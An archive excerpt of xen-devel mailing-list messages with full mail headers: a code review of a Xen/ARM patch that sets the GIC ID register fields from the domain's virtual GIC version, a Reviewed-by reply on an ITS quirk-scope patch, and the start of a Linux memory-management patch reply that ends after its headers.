	D/GCXyqE407hqNbap9UzR5MancuUcSUcv6SKXps6QxpSzgL3K+rf8zd1HMN8p9Loc5ZCJN6+/6pz7gTSkaTRUuHKnpPbUJ20tLBOylQYWH5y/3OUgxQp7+WOaSfSE/KPfe5DZKVB28BtkqIMqBkCB6AYtQjF/NtBJpQzN4coUGAcCXuo/O620/8BEV3HF8fnf76MAZQwWz3nshlDVX2supT+cdCpLafJeHylY+bu9m0Q/Mk12txgJXgeFaBuyJniCtWnWPqly9m4w7KGYIrM7kwEZp/MK7Mm4zI1umiuBsTDyq2MGEKEF5kYPeDfiwDhEeWif65a62i8QK+b1YJrBSul1T+5Iwc7ICqokXBNwq718KsTZAR1mscWIGJ3UXJV0BT+4yQy9wuv2YsPRrbEOGUKoKzqMZ//AtHwfKgxePWB0iJ7iAsJhvj/4xM+0n4+vpEv1hr80PIbH7hP2Yld2Gbd2bCw1NLEvEQrFYHcDuq12Ljh/MzcwL6A/a9sO3yI2feBH7yOp90KRUbNQ0JZHAb+ctnJTTSLBXJJkEs8FPvImb8lveAkd9jT7vuPLdkwQAkkDI/ptYOoGV/J7ZNLgXdY5aqBl3FVEN9thyzcmMy/GYjhhOO/+s5hdk5edcWkPHoDVLgN+9YaOm+N67r53PtsF3tvdPqA9ilYU/MybPXsipPm25j4CKp1mDttLmwcDtik+UgckePyqFFN0vYMvA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(23010399003)(376014)(82310400026)(56012099006)(10067099003)(11063799006)(18002099003)(6133799003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	UtHX2EDIn1jrUKxFWjbeSOpkvQfvygnlVpf6zrNtWsQVVHdyddR+gOfEZQlkX2mB98imr/3CrXQkuIEi2z+q+lDFrEt+DagCqSCijoyxqBgezZhcgWOrMykYWSaKRAP3rF/zx8RulHqnR0/EfTUZV2D6yfmex8zslOh3ktxC/AEYhljIQ55usp7Eh8KkRaozecE6W4yxLGIX0fzOL7WQoPAixGcWurWP+XMz3UvtkTUZ1c9UK8nFgL3dteC9klJnOBBsp4ApyR5J0VnihEF1lnp0UmzV/PC4skwISElmitBUYnjrKhoVkoKuCmnIGRWrm396SPCqz20V1sGgxSeenNKryMo5sVqnjkYkP7VsbIqXIYLmA7ZlzOfuwhZSCwlog4no8LdPqzlDaQO+1bL16krcXp6bOwwIEXkabgQ49Kz3RWultgway26oCkEuObnC
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 22 Jul 2026 11:34:13.9814
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: da8d8500-37f0-4f3e-9349-08dee7e52824
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN1PEPF0000468C.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ2PR12MB8011
X-purgate-ID: tlsNG-720697/1784720061-F3CBA2AC-3A15DE3C/0/0
X-purgate-type: clean
X-purgate-size: 2820



On 10-Jul-26 11:31, Mykola Kvach wrote:
> Xen exposes ID_AA64PFR0_EL1.GIC and ID_PFR1.GIC from
> domain_cpuinfo, which is initialized from the sanitized host CPU feature
> state. This does not necessarily match the virtual interrupt controller
> configured for a domain.
> 
> On a GICv3 or newer host, a vGICv2 domain can observe a nonzero GIC
> field even though Xen disables EL1 access to the GIC CPU system register
> interface for that domain. On a GICv4.1 host, a vGICv3 domain can
> observe encoding 0b0011, which advertises GICv4.1 CPU interface support
> that Xen's vGICv3 model does not expose.
> 
> Derive both fields from d->arch.vgic.version in every trap path. Expose
> 0b0000 for vGICv2 and 0b0001 for vGICv3. This covers
> ID_AA64PFR0_EL1 and the ID_PFR1_EL1 alias in AArch64 state, as well as
> ID_PFR1 accessed through CP15 in AArch32 state.
> 
> This is consistent with KVM, which derives both ID fields from the
> configured virtual GIC model.
> 
> Fixes: 07b9acea116e ("xen/arm: Add handler for ID registers on arm64")
> Fixes: 8f81064a07c6 ("xen/arm: Add handler for cp15 ID registers")
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---
>  xen/arch/arm/arm64/vsysreg.c | 35 ++++++++++++++++++++++++++++++++++-
>  xen/arch/arm/vcpreg.c        | 25 ++++++++++++++++++++++++-
>  2 files changed, 58 insertions(+), 2 deletions(-)
> 
> diff --git a/xen/arch/arm/arm64/vsysreg.c b/xen/arch/arm/arm64/vsysreg.c
> index d14258290f..6b898f13f3 100644
> --- a/xen/arch/arm/arm64/vsysreg.c
> +++ b/xen/arch/arm/arm64/vsysreg.c
> @@ -21,6 +21,7 @@
>  #include <asm/arm64/cpufeature.h>
>  #include <asm/arm64/sve.h>
>  #include <asm/current.h>
> +#include <asm/gic.h>
>  #include <asm/regs.h>
>  #include <asm/traps.h>
>  #include <asm/vreg.h>
> @@ -79,6 +80,24 @@ TVM_REG(CONTEXTIDR_EL1)
>                                    1, domain_cpuinfo.field.bits[offset]); \
>      }
>  
> +#define ID_REG_GIC_WIDTH 4
> +
> +static unsigned int vgic_id_gic_field(const struct domain *d)
> +{
> +    ASSERT(d->arch.vgic.version == GIC_V2 ||
NIT: Put brackets around individual expressions

> +           d->arch.vgic.version == GIC_V3);
> +
> +    return d->arch.vgic.version == GIC_V3;
> +}
> +
> +static register_t id_reg_set_gic_field(register_t val, unsigned int shift,
> +                                       const struct domain *d)
> +{
> +    register_t mask = GENMASK(shift + ID_REG_GIC_WIDTH - 1, shift);
> +
> +    return (val & ~mask) | ((register_t)vgic_id_gic_field(d) << shift);
> +}
vgic_id_gic_field() and ID_REG_GIC_WIDTH are copied 1:1 into vcpreg.c,
and vcpreg.c open-codes the mask/insert that id_reg_set_gic_field() already
provides. Please factor the shared logic into one place that both files include.

~Michal



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 11:56:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 11:56:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368392.1617779 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmVYx-0003Y7-NM; Wed, 22 Jul 2026 11:56:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368392.1617779; Wed, 22 Jul 2026 11:56:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmVYx-0003Y0-Jy; Wed, 22 Jul 2026 11:56:35 +0000
Received: by outflank-mailman (input) for mailman id 1368392;
 Wed, 22 Jul 2026 11:56:34 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wmVYw-0003Xu-03
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 11:56:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmVYv-000Rf7-CX
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 13:56:33 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a60afe3-5cb7-0a2a0a5109dd-0a2a45079086-46
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 13:56:32 +0200
Received: from [52.101.48.22]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a60afee-b4ea-0a2a45070019-346530162bbf-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 13:56:32 +0200
Received: from SJ0PR03CA0237.namprd03.prod.outlook.com (2603:10b6:a03:39f::32)
 by LV0PR12MB999068.namprd12.prod.outlook.com (2603:10b6:408:32d::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.10; Wed, 22 Jul
 2026 11:56:27 +0000
Received: from SJ1PEPF00002314.namprd03.prod.outlook.com
 (2603:10b6:a03:39f:cafe::4c) by SJ0PR03CA0237.outlook.office365.com
 (2603:10b6:a03:39f::32) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Wed,
 22 Jul 2026 11:56:27 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 SJ1PEPF00002314.mail.protection.outlook.com (10.167.242.168) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Wed, 22 Jul 2026 11:56:27 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 22 Jul
 2026 06:56:26 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 22 Jul 2026 06:56:24 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=m6P+qN8Cid6s4tx0CO4CpovMuBjefUHWk3RpNtsJORgvUyObHQYjTD7SQM9fmZZ4LvIi/+nCtrQMF1LBUdiZNqhcr5nL7DYzAzk9EH7RoakNhlwxZQeW4+ghNi4JpFfA7Q031aHG3a6byaIVglln2lzIH6fKCjhxEh0RjylhDNd1gnvyIWQAe7GdRuVCTFPcbBvr7kA7nTXL7a0uYSn8b2ZZ8/EuufJGNnvC5PB00RkWWvG4gMMj6cRQskG9GBTZAxciBDn2b2XURdXFik6NBVM343dT+WaR1X9G6DbV2iGVnQAqCV3soupPHvQzmQp/bgLwees9j+7XXpEFy9+czA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OxA7GjW9jlIdbzhagtnlPo7nhTEZoqt+Dj0efLRJRS0=;
 b=kM4jNIZ3hcJ4K4GWhD+xoPzeAtxA1Uryjysq6mMzKED7mXhDe3XbhU3Gnjao9KDdCUJBaCjfEr7T9+1xsQH3URthO8SJOosElXprCXbqk7ZFQ1OT6fdWsadZG2+IKLezTDtCS/77J8Fj/tpHEPQHmofcK68R1NbRzt8DcP0CSqly4PNLlRqBfkj8V/tZJrifW4CzrRFzmLuOSZBDag5t4S9oDDs2YenwVCSoU83bAJ9nxR9o0Lkn16KIFHN9+lGHTvsgc1v8Zwrh3MTTubI0o3+IPabPKVhGlSHCTLvfhGVpwc0PJTSWzUfPo3NUHTr32WlFOltABiFp3Yt1Wb5fWQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=gmail.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OxA7GjW9jlIdbzhagtnlPo7nhTEZoqt+Dj0efLRJRS0=;
 b=BLraPtPVjv5Ka5A6pnGSwQWxfN3Po3yhZDdqcfDpSiWZoBkDnqYLWAwO2MLUW0OvTTx2YBSrLptHzPBO/CMO4TeaIVCzKPhczG9YaJ+6ZHunN2gGIpDMWrwamA+qqNCCVRt/vOPLL768oL4qtv5SYO7SDqjmIvMXy8bb8vOkBIU=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <3d7a6f21-e1bb-4e95-b4b8-9d07d5255da0@amd.com>
Date: Wed, 22 Jul 2026 13:56:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 2/4] xen/arm: its: separate ITS and host LPI quirk
 scopes
To: Mykola Kvach <xakep.amatop@gmail.com>, <xen-devel@lists.xenproject.org>
CC: Mykola Kvach <mykola_kvach@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Luca Fancellu <luca.fancellu@arm.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1779922874.git.mykola_kvach@epam.com>
 <5edcb9ec3e643133d115f009d0d942869ffb6955.1779922874.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <5edcb9ec3e643133d115f009d0d942869ffb6955.1779922874.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00002314:EE_|LV0PR12MB999068:EE_
X-MS-Office365-Filtering-Correlation-Id: 6ee7051a-2de2-480d-bd2a-08dee7e842f4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|1800799024|23010399003|376014|22082099003|18002099003|11063799006|4143699003|3023799007|10067099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	CT4tMOfrBDcVIQQ1c48ANIfYAIt1zhxnxakPpkAK/f/mg47thg8oUkSOqagFJRqhraEZkgKHxWMzw4JfU7r83aRVYQzaUmj2aQF6zQOD5BxM/LpMddxXDPC6/UH/JGOLuXHhAIfrNAcnKHRFu/84kGYl7N/IhEhGWOJCNikMdnw19d/Wth2flosjnzFgaKmT8tGsM3rwoUPvfDwiHaK4mCJ+UR4i6YyHXkB6c+2M40J5W7lK9JEGTWKtaqWuUgj/3AJA4SVx3T8YRAPKUU93hGLFICa9wkAHggtlNX+DTYYhCXZ9qUNsQgwTEvh1IY7a3756OQgdepAF1sIhmv6fHVN9MHxJY0Vg+ZPKfMMcTWHJBcrmBqSkYQyA5pX2MPaAY/HmDMRhznTwJ1bjprlAuh186SdLs5OFSIaJ5QWPiKDWbuaqD9OIwK/Y7EB4ieJRpc/SRttkehZBf3R+eFBQe47Yiksp0r6UNIg+4acygvOwCQxYhPiv47GU01F1AL6281pp9e4sgUVz9RlSNeeIFdkY8Fe/cMJhNsU0OzIPBFQRZ6lfrvX8XlKudd1LSNr6uvZufL9Zu+z8raT+Lnc2lvDJV9Eu+FUJqEAW+N5AZKBG6VyrJqmvGsOp402lxa84GTmQROXtgw3QTj2qaZ5mfj4cbmZ1EgazwHpSt2OIJFEgp0kWXq8UuCLcXSgg33GK3ysBsjaUzOKiaCdu0qmatw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(1800799024)(23010399003)(376014)(22082099003)(18002099003)(11063799006)(4143699003)(3023799007)(10067099003)(56012099006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	EYcVYeCHMnP6t4zoVtTANcOsKuLfMlB/eIHgCRO0cf83XmjGIZRYOSesuYG4eUU2COzsQM4xeMpfGyNMXdNsCIHAuDYuFAw57mt6n7ApPC+QAaDfXAbQHDrQEPjNFegnE4GTxh2ApRpMroo6gUkFnJ00d0am5OFqFRM2cax8MYnk4v3gE2BtQO/RQ70sYWfGE4B9RofSo3Gajb4tJtT2Dos1L9wKZQBIzAOcv6bAzpRFghi8QbQFcqxCsAf1Bf53UatavZR0PYlOgwj7LsIhk2BY2nIjOjsVn1nMUVdbOOsLL6hyRArBgA1u2my+C+EpzrdUrBixCr581VJ8ai96sbVs0BdFdG8NZ3w1Ey85oMoPbwrUASQd2Ww1IHAch0/kbcpQ7rSZDqv19dX7GPOAsaoK/kLvDPjO0Xbl4KcRtW/5sZENZ4ZCGd9IdkS4B1S1
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 22 Jul 2026 11:56:27.3894
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 6ee7051a-2de2-480d-bd2a-08dee7e842f4
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00002314.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV0PR12MB999068
X-purgate-ID: tlsNG-ef75cf/1784721392-378D1AE4-7F72ABCB/0/0
X-purgate-type: clean
X-purgate-size: 1389



On 28-May-26 02:25, Mykola Kvach wrote:
> From: Mykola Kvach <mykola_kvach@epam.com>
> 
> ITS quirks can impose restrictions on memory accessed by the ITS itself and
> on shared host LPI/Redistributor state. These scopes are not identical, so
> a single global ITS quirk state makes the host LPI policy depend implicitly
> on the quirks seen while initializing host ITSes.
> 
> Add per-ITS quirk_flags to struct host_its and keep a separate
> host_lpi_flags state in the LPI code. The quirk table now records the
> ITS-private and host LPI scopes explicitly through its_flags and lpi_flags.
> The R-Car Gen4 quirk applies the same memory-related restrictions to both
> scopes, preserving the existing behavior without relying on an implicit
> aggregation step.
> 
> This also removes the old assumption that all host ITSes must expose the
> same quirk state. Host LPI restrictions are accumulated only from quirk
> entries that explicitly set lpi_flags.
> 
> Use per-ITS quirk_flags for GITS_CBASER, GITS_BASER<n> and ITT allocations.
> Use host_lpi_flags directly in gic-v3-lpi.c for GICR_PROPBASER and
> GICR_PENDBASER setup. Memory-related quirk bits are named GICV3_QUIRK_MEM_*
> and are translated by shared gicv3_mem_get_*() helpers.
> 
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>

~Michal



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 13:30:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 13:30:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368431.1617790 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmX12-0007Gp-BW; Wed, 22 Jul 2026 13:29:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368431.1617790; Wed, 22 Jul 2026 13:29:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmX12-0007Gi-7s; Wed, 22 Jul 2026 13:29:40 +0000
Received: by outflank-mailman (input) for mailman id 1368431;
 Wed, 22 Jul 2026 13:26:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmWyI-000749-Nt
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 13:26:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmWyH-004UIE-Sm
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 15:26:49 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60c515-bab6-0a2a0a5309dd-0a2a4502aefe-14
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 15:26:49 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60c517-6ca4-0a2a45020019-aceafc1f9934-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 15:26:49 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 118DF4180C;
 Wed, 22 Jul 2026 13:26:47 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 409D51F000E9;
 Wed, 22 Jul 2026 13:26:28 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784726806;
	bh=+M61kMMTxzMqLJW/I9S72vEXtmCkFlbPyR+NRZBxKrM=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=ZXxvQz/+5vEhls9X1WnsdaijtSh4+KMh+sWHRLjatPV9xb4hEbr8G7i+SgsJpyldQ
	 mfdIbbK/dtwweQdY6q9Z2dTqHvG52A7c0ZGpajSxdgBLMT2ZHax1fZUdkSJwotodwB
	 GIZ8il6H1obl/L2YNl/gvIQ9I7nGSRtDtHY3VNq7vMpOeuCV07KK7YlHMiYwT2CMau
	 PsBYdDJ/BmBPkoAkpFxvcPBQkMkbFXmT76mSfEXcHUk8JW4aoAwNQKlZUyKfOxL3CS
	 hmwrMiEce5S8fEue7P5cjfo10ImHtxtE2AnFwqacXJFSzF8f9QoiB5KF/gtv5iDKns
	 H6mqJTkUMl9fg==
Message-ID: <848cc2f9-9314-427c-90e9-39a6e483a335@kernel.org>
Date: Wed, 22 Jul 2026 15:26:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 01/13] mm: introduce vma_flags_can_grow() and
 vma_can_grow()
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
